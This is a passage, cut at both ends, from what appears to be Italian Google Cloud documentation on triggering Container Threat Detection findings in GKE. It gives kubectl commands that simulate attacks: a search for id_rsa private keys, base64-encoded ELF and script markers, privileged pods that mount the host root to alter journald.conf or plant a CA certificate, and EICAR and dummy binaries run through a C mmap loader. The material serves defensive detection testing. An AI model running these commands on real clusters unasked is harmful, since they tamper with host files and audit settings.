         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Questa procedura di test crea un risultato Credential Access: Search Private Keys or Passwords che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: riga di comando file ELF Base64

Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, un processo deve avere base64 come argomento e f0VMRgIB come argomento, che è la forma con codifica base64 di ELF. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. base64 viene quindi eseguito con gli argomenti -d e f0VMRgIB. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare i dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Questa procedura di test crea due risultati Defense Evasion: Base64 ELF File Command Line che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center. Vengono creati due risultati perché sia il comando bash -c iniziale sia l'esecuzione del comando base64 -d soddisfano i criteri dei risultati.

Evasione della difesa: script Python con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed, un processo deve avere echo o base64 come argomento e aW1wb3J0IH come argomento, che è la forma codificata in Base64 di python -c. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. echo viene quindi eseguito con l'argomento aW1wb3J0IH. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare i dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Python Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: script shell con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed, un processo deve avere echo o base64 come argomento e IyEvYmluL2Jhc2gK come argomento, che è la forma codificata in Base64 di #!/bin/bash. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. echo viene quindi eseguito con l'argomento IyEvYmluL2Jhc2gK. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare i dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Shell Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Defense Evasion: disabilita o modifica il sistema di audit di Linux (anteprima)

Per attivare un rilevamento di disabilitazione o modifica del sistema di audit di Linux, modifica uno dei file di configurazione relativi all'audit dell'host. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, monta il file system root dell'host nel container e poi modifica /etc/systemd/journald.conf.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Eseguire un file binario che modifica uno dei file di configurazione relativi al controllo dell'host, ad esempio /etc/systemd/journald.conf.

    • Nodo x86:

      tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Questa procedura di test attiva un risultato Disable or Modify Linux Audit System che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Evasione delle difese: Avvia strumento di compilazione codice nel container

Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container (anteprima), uno strumento di compilazione del codice deve essere eseguito all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in gcc10 (o un altro compilatore come clang). Questo comportamento viene contrassegnato come sospetto perché può indicare un tentativo di compilare ed eseguire codice dannoso all'interno del container per eludere il rilevamento o modificarne il comportamento.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario del compilatore come gcc10 con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Nodo ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: certificato radice installato (anteprima)

Per attivare un rilevamento di certificato radice installato, crea un file di certificato radice sull'host da un container. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, montando il file system root dell'host nel container. Quindi, crea un file di certificato vuoto in una directory appropriata.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Installare un file di certificato sull'host da un container.

    • Nodo x86:

      tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Questa procedura di test attiva un risultato Certificato radice installato che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Esecuzione: File binario aggiuntivo dannoso eseguito

Per attivare un risultato Esecuzione: File binario aggiuntivo dannoso eseguito, inserisci un file binario dannoso nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea un file dannoso simulato e lo esegue. L'esecuzione del file binario è imprevista perché il file binario dannoso simulato non faceva parte dell'immagine container originale ed è un file di test EICAR, un file classificato come dannoso dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Questa procedura di test crea un risultato Execution: Added Malicious Binary Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Libreria dannosa aggiuntiva caricata

Per attivare un risultato Execution: Added Malicious Library Loaded, aggiungi una libreria dannosa nel container e caricala. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea una libreria dannosa simulata e poi la carica utilizzando mmap. Il caricamento della libreria è imprevisto perché la libreria dannosa simulata non faceva parte dell'immagine container originale e perché la libreria è un file di test EICAR, classificato come dannoso dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Aggiungi il file EICAR e caricalo:

    • Nodo x86:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      

Questa procedura di test crea un risultato Esecuzione: aggiunta di una libreria dannosa caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Skill dannosa aggiuntiva eseguita

Per attivare un risultato Execution: Added Malicious Skill Executed, aggiungi un file binario di skill dannoso nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea un file dannoso simulato e lo esegue. L'esecuzione del file binario è imprevista perché il file binario dannoso simulato non faceva parte dell'immagine container originale e contiene un hash di test specifico classificato come competenza dannosa dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Aggiungi il file binario della skill dannosa ed eseguilo:

    • Nodo x86:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"
      
    • Nodo ARM:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"
      

Questa procedura di test crea un risultato Execution: Added Malicious Skill Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Skill dannosa modificata eseguita

Per attivare un risultato Execution: Modified Malicious Skill Executed, modifica un file binario esistente con un file binario di skill dannoso nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, sovrascrive un file di sistema (/etc/issue) con un file dannoso simulato e poi lo esegue. L'esecuzione del file binario è imprevista perché il file binario dannoso simulato contiene un hash di test specifico classificato come competenza dannosa dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Modifica un componente di sistema con il file binario della skill dannosa ed eseguilo:

    • Nodo x86:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"
      
    • Nodo ARM:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"
      

Questa procedura di test crea un risultato Execution: Modified Malicious Skill Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Skill dannosa aggiuntiva caricata

Per attivare un risultato Execution: Added Malicious Skill Loaded, aggiungi una libreria di competenze dannose nel container e caricala. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea una libreria dannosa simulata e poi la carica utilizzando mmap. Il caricamento della libreria è imprevisto perché la libreria dannosa simulata non faceva parte dell'immagine container originale e perché la libreria contiene un hash di test specifico classificato come competenza dannosa dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Aggiungi la libreria di skill dannose e caricala:

    • Nodo x86:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /tmp/test_mal_file;
            chmod 700 /tmp/test_mal_file;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /tmp/test_mal_file;
            sha256sum /tmp/test_mal_file;
            sleep 10"
      
    • Nodo ARM:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /tmp/test_mal_file;
            chmod 700 /tmp/test_mal_file;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /tmp/test_mal_file;
            sha256sum /tmp/test_mal_file;
            sleep 10"
      

Questa procedura di test crea un risultato Execution: Added Malicious Skill Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Skill dannosa modificata caricata

Per attivare un risultato Execution: Modified Malicious Skill Loaded, modifica un file binario esistente con una libreria di skill dannosa nel container e caricalo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea una libreria dannosa simulata su un file di sistema (/etc/issue) e poi la carica utilizzando mmap. Il caricamento della libreria è imprevisto perché la libreria dannosa simulata non faceva parte dell'immagine container originale e perché la libreria contiene un hash di test specifico classificato come competenza dannosa dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Modifica un componente di sistema con la libreria di skill dannose e caricalo:

    • Nodo x86:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /etc/issue;
            chmod 700 /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /etc/issue;
            sha256sum /etc/issue;
            sleep 10"
      
    • Nodo ARM:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
